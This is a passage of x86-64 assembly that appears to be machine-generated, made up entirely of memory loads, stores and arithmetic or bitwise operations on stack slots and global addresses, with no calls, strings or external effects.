movzx eax, word [rsp + 0xa68]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x5c50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6700]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a20]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5140], rax
mov eax, dword [rsp + 0x2c34]
mov dword [rsp + 0x2e40], eax
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x2d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d40], eax
lea rax, [rsp + 0x5338]
mov qword [rsp + 0x7160], rax
mov rax, qword [0x14017a408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178eda], al
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov rcx, qword [rsp + 0x5010]
mov byte [rcx], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [0x14017a298]
add eax, ecx
mov word [rsp + 0xb70], ax
lea rax, [rsp + 0x164]
mov qword [rsp + 0x7168], rax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0xd9]
sub eax, ecx
mov rcx, qword [rsp + 0x6400]
mov byte [rcx], al
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x2e44], eax
mov rax, qword [rsp + 0x63a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ac4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c08], eax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x56b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e50], rax
lea rax, [rsp + 0x5678]
mov qword [rsp + 0x7170], rax
movzx eax, word [rsp + 0xa68]
movzx ecx, word [rsp + 0xa44]
sub eax, ecx
mov rcx, qword [0x14017a2f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc44], ax
mov rax, qword [0x14017a448]
movzx eax, byte [rax]
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0x86]
sar eax, cl
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7058]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5f00]
mov word [rcx], ax
lea rax, [0x14017a064]
mov qword [rsp + 0x7178], rax
mov rax, qword [rsp + 0x6ab0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a40], rax
mov rax, qword [rsp + 0x7060]
mov rax, qword [rax]
mov qword [rsp + 0x7180], rax
mov eax, dword [rsp + 0x2b60]
mov ecx, dword [0x14017a060]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c44], eax
movzx eax, word [rsp + 0xb6c]
mov word [0x14017a540], ax
mov rax, qword [rsp + 0x5390]
movzx eax, byte [rax]
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x65f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
add eax, ecx
mov word [rsp + 0x864], ax
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x7188], rax
mov eax, dword [rsp + 0x2abc]
mov ecx, dword [rsp + 0x2e04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a9c], eax
lea rax, [rsp + 0x6680]
mov qword [rsp + 0x7190], rax
mov rax, qword [rsp + 0x7038]
mov ecx, dword [rsp + 0x2a8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ab4], eax
mov rax, qword [rsp + 0x60e0]
mov rcx, qword [rsp + 0x5708]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6050], rax
movzx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x6c10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a0f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb44]
mov word [rsp + 0xca8], ax
mov rax, qword [0x14017a280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5098]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d78]
movzx eax, word [rax]
mov word [rsp + 0xcac], ax
movsx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b88]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b50]
movzx ecx, al
mov eax, dword [rsp + 0x2a04]
shr eax, cl
mov dword [rsp + 0x2c58], eax
mov eax, dword [rsp + 0x2cc4]
mov dword [rsp + 0x2e48], eax
mov rax, qword [rsp + 0x5f88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6fe0]
shl rax, cl
mov rcx, qword [rsp + 0x51d0]
mov qword [rcx], rax
lea rax, [rsp + 0x6370]
mov qword [rsp + 0x7198], rax
mov rax, qword [rsp + 0x70d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d88]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a518]
mov word [rcx], ax
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7008]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x91c], ax
mov rax, qword [0x14017a110]
movzx eax, byte [rax]
mov byte [rsp + 0x172], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
mov rax, qword [rsp + 0x66b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7050]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e38]
mov rax, qword [rax]
mov qword [rsp + 0x71a0], rax
mov eax, dword [rsp + 0x2b18]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ddc], eax
mov rax, qword [rsp + 0x58d8]
mov qword [rsp + 0x71a8], rax
mov rax, qword [rsp + 0x56f8]
mov rcx, qword [rsp + 0x55d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6fb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xa80]
mov rcx, qword [rsp + 0x6420]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f64], ax
mov rax, qword [rsp + 0x5d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xae0], ax
lea rax, [rsp + 0xc1]
mov qword [rsp + 0x71b0], rax
mov rax, qword [rsp + 0x6d38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0x71b8], rax
mov rax, qword [rsp + 0x56f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2e0c]
mov ecx, dword [rsp + 0x2a94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a78], eax
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x54c0]
mov rcx, qword [rsp + 0x50c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x69b0], rax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x173], al
lea rax, [rsp + 0xc80]
mov qword [0x14017a548], rax
movzx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x5698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
or eax, ecx
mov byte [rsp + 0xb6], al
lea rax, [rsp + 0x11e]
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x66a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140178e8c]
shr eax, cl
mov rcx, qword [rsp + 0x56f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f70]
mov qword [rsp + 0x71d0], rax
mov rax, qword [rsp + 0x6a68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c78]
shl eax, cl
mov dword [rsp + 0x2c08], eax
lea rax, [rsp + 0x6ae0]
mov qword [rsp + 0x71d8], rax
movzx eax, word [rsp + 0x8e0]
movzx ecx, word [rsp + 0x8bc]
and eax, ecx
mov word [rsp + 0xb38], ax
movzx eax, byte [rsp + 0xb9]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a1e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xc04]
mov rcx, qword [rsp + 0x5908]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a90]
mov word [rcx], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0x71e0], rax
movsx eax, word [rsp + 0x9c4]
movsx ecx, word [0x140178efc]
sub eax, ecx
mov word [rsp + 0x868], ax
lea rax, [rsp + 0x29e4]
mov qword [rsp + 0x71e8], rax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x5438]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6b68], rax
mov rax, qword [rsp + 0x5c60]
mov rcx, qword [rsp + 0x5d68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5550], rax
mov eax, dword [rsp + 0x2cd8]
mov dword [rsp + 0x2e4c], eax
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbac], ax
movsx eax, word [rsp + 0xa10]
movsx ecx, word [0x140178ef0]
sub eax, ecx
mov rcx, qword [0x14017a108]
mov word [rcx], ax
lea rax, [rsp + 0xaac]
mov qword [rsp + 0x71f0], rax
mov rax, qword [rsp + 0x6a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6610]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov dword [rsp + 0x2e50], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x6ba0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x57f0], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x71f8], rax
mov rax, qword [rsp + 0x6a08]
movzx ecx, al
mov rax, qword [rsp + 0x5dd0]
shl rax, cl
mov rcx, qword [rsp + 0x5838]
mov qword [rcx], rax
mov rax, qword [rsp + 0x64a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
sar eax, cl
mov word [rsp + 0x974], ax
mov rax, qword [0x14017a450]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140178f68], ax
mov rax, qword [rsp + 0x6b88]
movzx eax, byte [rax]
mov byte [rsp + 0x174], al
movzx eax, byte [rsp + 0xa4]
movzx ecx, byte [rsp + 0xf8]
and eax, ecx
mov rcx, qword [rsp + 0x6b38]
mov byte [rcx], al
lea rax, [0x140178e5c]
mov qword [rsp + 0x7200], rax
mov rax, qword [rsp + 0x5be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5698]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ba8]
mov dword [rsp + 0x2e54], eax
mov rax, qword [rsp + 0x6f20]
mov rcx, qword [rsp + 0x57d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x65d8]
mov rcx, qword [rsp + 0x5650]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5dd8], rax
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0x7208], rax
lea rax, [0x140178f38]
mov qword [0x14017a550], rax
mov rax, qword [rsp + 0x5b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7098]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xca], al
lea rax, [rsp + 0xa58]
mov qword [rsp + 0x7210], rax
mov rax, qword [rsp + 0x60c0]
movzx eax, word [rax]
mov rcx, qword [0x14017a450]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc70], ax
movsx eax, byte [rsp + 0x10c]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a50]
mov dword [rsp + 0x2e58], eax
mov rax, qword [rsp + 0x6088]
mov rcx, qword [rsp + 0x5fe8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
lea rax, [rsp + 0x6ba0]
mov qword [rsp + 0x7218], rax
mov rax, qword [rsp + 0x5c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
movsx eax, word [rsp + 0x8dc]
movsx ecx, word [rsp + 0xbf0]
sar eax, cl
mov rcx, qword [0x14017a380]
mov word [rcx], ax
movzx eax, word [rsp + 0x878]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xca0], ax
movzx eax, byte [rsp + 0x168]
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc34]
xor eax, ecx
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x7220], rax
mov rax, qword [rsp + 0x5748]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2dd8]
shl eax, cl
mov dword [rsp + 0x2c24], eax
mov rax, qword [rsp + 0x5ee8]
mov rax, qword [rax]
mov qword [rsp + 0x7228], rax
mov rax, qword [rsp + 0x64c0]
mov rcx, qword [rsp + 0x6760]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6de8], rax
mov rax, qword [rsp + 0x6ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c14]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2adc], eax
movsx eax, word [0x140178eec]
mov rcx, qword [rsp + 0x6e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178eb4], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x176], al
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0x95c]
sub eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x7230], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ef8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5628], rax
mov rax, qword [rsp + 0x6760]
mov rax, qword [rax]
mov qword [rsp + 0x7238], rax
mov rax, qword [rsp + 0x5988]
mov ecx, dword [rsp + 0x2ca8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c0c]
mov dword [rsp + 0x2e5c], eax
lea rax, [0x14017a0e0]
mov qword [0x14017a558], rax
movsx eax, byte [rsp + 0x119]
movsx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov rcx, qword [rsp + 0x6600]
mov byte [rcx], al
mov rax, qword [rsp + 0x5670]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a0]
add eax, ecx
mov rcx, qword [rsp + 0x5d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x6208]
movzx eax, byte [rax]
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x68f0]
mov eax, dword [rax]
mov dword [rsp + 0x2e60], eax
mov rax, qword [0x140178e60]
movzx ecx, al
mov rax, qword [rsp + 0x5278]
shl rax, cl
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x66a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b08], eax
lea rax, [rsp + 0x5890]
mov qword [rsp + 0x7240], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [0x140178e9a]
or eax, ecx
mov byte [0x14017a0fe], al
mov rax, qword [rsp + 0x5d50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x64a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8e8], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x7248], rax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9d], al
movzx eax, word [rsp + 0xcac]
mov word [rsp + 0xcb0], ax
mov eax, dword [rsp + 0x2cec]
mov ecx, dword [rsp + 0x2dc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [rsp + 0x5650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f98], rax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov dword [rsp + 0x2e64], eax
mov rax, qword [rsp + 0x71a8]
mov rcx, qword [rsp + 0x5ed8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
mov byte [0x14017a144], al
movzx eax, byte [rsp + 0x16c]
mov byte [rsp + 0x178], al
movsx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa88], ax
movzx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0x5098]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x60a8]
movzx eax, byte [rax]
mov byte [rsp + 0x179], al
mov rax, qword [rsp + 0x68d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ac0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d60]
mov dword [rcx], eax
lea rax, [rsp + 0x5140]
mov qword [rsp + 0x7250], rax
mov rax, qword [rsp + 0x65d8]
mov rcx, qword [rsp + 0x60f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x69a8]
mov ecx, dword [rsp + 0x2b34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28f4], eax
movzx eax, byte [0x140178e8b]
movzx ecx, byte [rsp + 0xd2]
sub eax, ecx
mov byte [0x140178edb], al
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0x7258], rax
movzx eax, word [rsp + 0xacc]
movzx ecx, word [rsp + 0xa08]
sub eax, ecx
mov rcx, qword [rsp + 0x66a0]
mov word [rcx], ax
lea rax, [0x14017a0e5]
mov qword [rsp + 0x7260], rax
mov rax, qword [rsp + 0x6a20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb0c]
shl eax, cl
mov word [rsp + 0xa50], ax
lea rax, [rsp + 0x6950]
mov qword [rsp + 0x7268], rax
mov rax, qword [rsp + 0x6e50]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6810]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62a8]
movzx ecx, al
mov rax, qword [rsp + 0x5570]
sar rax, cl
mov rcx, qword [rsp + 0x6e38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5fe0]
mov eax, dword [rax]
mov dword [rsp + 0x2e68], eax
movsx eax, word [rsp + 0x9f8]
movsx ecx, word [rsp + 0xa84]
or eax, ecx
mov word [rsp + 0xad0], ax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x5cc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e97], al
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0x17a], al
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x5400]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc54], ax
movzx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0x6208]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x63e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov qword [rsp + 0x7270], rax
mov eax, dword [rsp + 0x2e08]
mov ecx, dword [rsp + 0x2dcc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c0c], eax
mov rax, qword [rsp + 0x68f0]
mov eax, dword [rax]
mov dword [rsp + 0x2e6c], eax
mov rax, qword [rsp + 0x50a0]
mov rcx, qword [rsp + 0x7198]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [0x14017a470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov rcx, qword [rsp + 0x62e8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc28]
movsx ecx, word [rsp + 0x974]
add eax, ecx
mov word [0x140178eb4], ax
movzx eax, word [rsp + 0xbb0]
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [rsp + 0x90], al
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x6868]
mov rcx, qword [rsp + 0x55f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e44]
mov ecx, dword [rsp + 0x2b84]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b58]
mov eax, dword [rax]
mov dword [rsp + 0x2e70], eax
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6d70]
shl rax, cl
mov rcx, qword [rsp + 0x6ea8]
mov qword [rcx], rax
lea rax, [rsp + 0xad8]
mov qword [rsp + 0x7280], rax
lea rax, [rsp + 0x928]
mov qword [0x14017a560], rax
mov rax, qword [rsp + 0x70f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x178]
sar eax, cl
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
mov rax, qword [0x14017a3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x17b], al
movsx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0x6eb8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0x5d68]
mov rcx, qword [rsp + 0x5a28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a10], rax
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x2e74], eax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5230]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5320]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov dword [rsp + 0x2e78], eax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x6518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x6a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a4a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x57c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa5], al
lea rax, [rsp + 0x16e]
mov qword [rsp + 0x7288], rax
movzx eax, word [rsp + 0xac8]
mov rcx, qword [rsp + 0x5068]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5538]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e80]
movzx eax, word [rax]
mov word [rsp + 0xcb8], ax
mov rax, qword [rsp + 0x6728]
mov rcx, qword [rsp + 0x6260]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a38], eax
mov eax, dword [rsp + 0x2d68]
mov ecx, dword [rsp + 0x2b34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c08], eax
lea rax, [rsp + 0x59e0]
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x6930]
mov rcx, qword [rsp + 0x6dc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5268], rax
mov rax, qword [rsp + 0x6ad8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbac]
sub eax, ecx
mov word [0x140178f6c], ax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x17c], al
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x5120]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5d40]
mov byte [rcx], al
mov rax, qword [rsp + 0x7128]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7280]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xae8], ax
lea rax, [rsp + 0x152]
mov qword [rsp + 0x7298], rax
mov rax, qword [rsp + 0x5d28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6fe0], rax
lea rax, [rsp + 0x2c2c]
mov qword [rsp + 0x72a0], rax
mov rax, qword [rsp + 0x71a8]
movzx ecx, al
mov rax, qword [rsp + 0x58a0]
shl rax, cl
mov rcx, qword [rsp + 0x5b60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ab0]
mov dword [rsp + 0x2e7c], eax
movzx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x7110]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a1b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e28]
movzx eax, word [rax]
movzx ecx, word [0x14017a288]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x55e8]
movzx eax, word [rax]
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x63d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7220]
mov byte [rcx], al
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov qword [rsp + 0x72a8], rax
mov rax, qword [rsp + 0x54b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a98], rax
mov rax, qword [rsp + 0x6e28]
mov ecx, dword [rsp + 0x2ddc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a44], eax
lea rax, [rsp + 0x2cac]
mov qword [rsp + 0x72b0], rax
lea rax, [rsp + 0x152]
mov qword [0x14017a568], rax
mov rax, qword [rsp + 0x6218]
movzx eax, word [rax]
mov rcx, qword [0x14017a2f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5d10]
mov word [rcx], ax
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x72b8], rax
mov rax, qword [rsp + 0x6b48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98c]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x96]
sub eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0x70c8]
mov qword [rsp + 0x72c0], rax
mov rax, qword [rsp + 0x6800]
